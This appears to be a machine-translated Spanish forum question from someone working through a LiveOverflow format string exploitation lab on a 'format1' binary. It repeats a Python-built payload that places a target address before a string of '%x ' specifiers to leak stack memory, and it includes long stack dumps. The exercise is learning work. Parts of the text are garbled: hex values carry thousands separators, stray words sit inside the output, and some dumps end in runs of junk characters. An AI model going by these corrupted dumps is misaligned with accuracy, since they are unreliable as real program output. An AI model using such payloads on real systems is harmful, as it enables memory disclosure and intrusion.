Estaba siguiendo el Ejemplo de explotación de cadena de formato de Liveoverflow y tuve dificultades para entender y ejecutar algunas cosas específicamente con esta línea
./format1 "'\python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*127"'"
¿Por qué cambiar el multiplicador de %x cambia los resultados finales de manera tan drástica?
./format1 "'\python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*127"'"
resultados en:
AAAA8BBBBB804960c bffff678 8.048.469 b7fd8304 b7fd7ff4 bffff678 8.048.435 bffff83c b7ff1040 804845b b7fd7ff4 8048450 0 bffff6f8 b7eadc76 2 bffff724 bffff730 b7fe1848 bffff6e0 ffffffff b7ffeff4 804824d 1 bffff6e0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6f8 2f92343f 5c7422f 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff724 8.048.450 8.048.440 b7ff1040 bffff71c b7fff8f8 2 bffff832 bffff83c 0 bffff9c7 bffff9d5 bffff9e0 bffff9fd bffffa10 bffffa1a bfffff0a bfffff48 bfffff5c bfffff73 bfffff84 bfffff8c bfffff9c bfffffa9 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 78bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3E9 c 0 d 3E9 e 3E9 17 1 19 bffff81b 1f bffffff2 f bffff82b 0 0 0 6c000000 9a0c6950 e1a0683f 582c0d64 69e4341a 363836 2f2e0000 6d726f66 317461 41414141
mientras
./format1 " \python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*128" "
resultados en:
AAAA8BBBBB804960c bffff668 8.048.469 b7fd8304 b7fd7ff4 bffff668 8.048.435 bffff839 b7ff1040 804845b b7fd7ff4 8048450 0 bffff6e8 b7eadc76 2 bffff714 bffff720 b7fe1848 bffff6d0 ffffffff b7ffeff4 804824d 1 bffff6d0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6e8 b22efc82 987a6a92 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff714 8.048.450 8.048.440 b7ff1040 bffff70c b7fff8f8 2 bffff82f bffff839 0 bffff9c7 bffff9d5 bffff9e0 bffff9fd bffffa10 bffffa1a bfffff0a bfffff48 bfffff5c bfffff73 bfffff84 bfffff8c bfffff9c bfffffa9 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 78bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff80b 1f bffffff2 f bffff81b 0 0 0 22000000 eb659d4 81fea6e1 db3d40c 69b9e569 363836 0 0 0 2e000000 726f662f
La mayor parte de la línea final es diferente y solo agregué uno al multiplicador
2) Estaba intentando agregar %x al final de mi código (cambio
./format1 "'\python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*127"'"
a
./format1 "'\python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*127 + '%x '"'")
como lo hace en su video, pero tengo esto:
AAAA8BBBBB804960c bffff678 8.048.469 b7fd8304 b7fd7ff4 bffff678 8.048.435 bffff83a b7ff1040 804845b b7fd7ff4 8048450 0 bffff6f8 b7eadc76 2 bffff724 bffff730 b7fe1848 bffff6e0 ffffffff b7ffeff4 804824d 1 bffff6e0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6f8 333561eb 196017fb 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff724 8.048.450 8.048.440 b7ff1040 bffff71c b7fff8f8 2 bffff830 bffff83a 0 bffff9c7 bffff9d5 bffff9e0 bffff9fd bffffa10 bffffa1a bfffff0a bfffff48 bfffff5c bfffff73 bfffff84 bfffff8c bfffff9c bfffffa9 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 78bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff81b 1f bffffff2 f bffff82b 0 0 0 12000000 30ac1e39 b74a666c 80429919 695daa9aypaypk1p444444444444444444444444444444444444444444444444444444440444444444444 La caja
en lugar de lo que obtiene en su video:
AAAA8BBBBB804960c bffff678 8.048.469 b7fd8304 b7fd7ff4 bffff678 8.048.435 bffff83c b7ff1040 804845b b7fd7ff4 8048450 0 bffff6f8 b7eadc76 2 bffff724 bffff730 b7fe1848 bffff6e0 ffffffff b7ffeff4 804824d 1 bffff6e0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6f8 2f92343f 5c7422f 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff724 8.048.450 8.048.440 b7ff1040 bffff71c b7fff8f8 2 bffff832 bffff83c 0 bffff9c7 bffff9d5 bffff9e0 bffff9fd bffffa10 bffffa1a bfffff0a bfffff48 bfffff5c bfffff73 bfffff84 bfffff8c bfffff9c bfffffa9 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 78bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff81b 1f bffffff2 f bffff82b 0 0 0 6c000000 9a0c6950 e1a0683f 582c0d6422pccccccccccccccgggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggfgggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg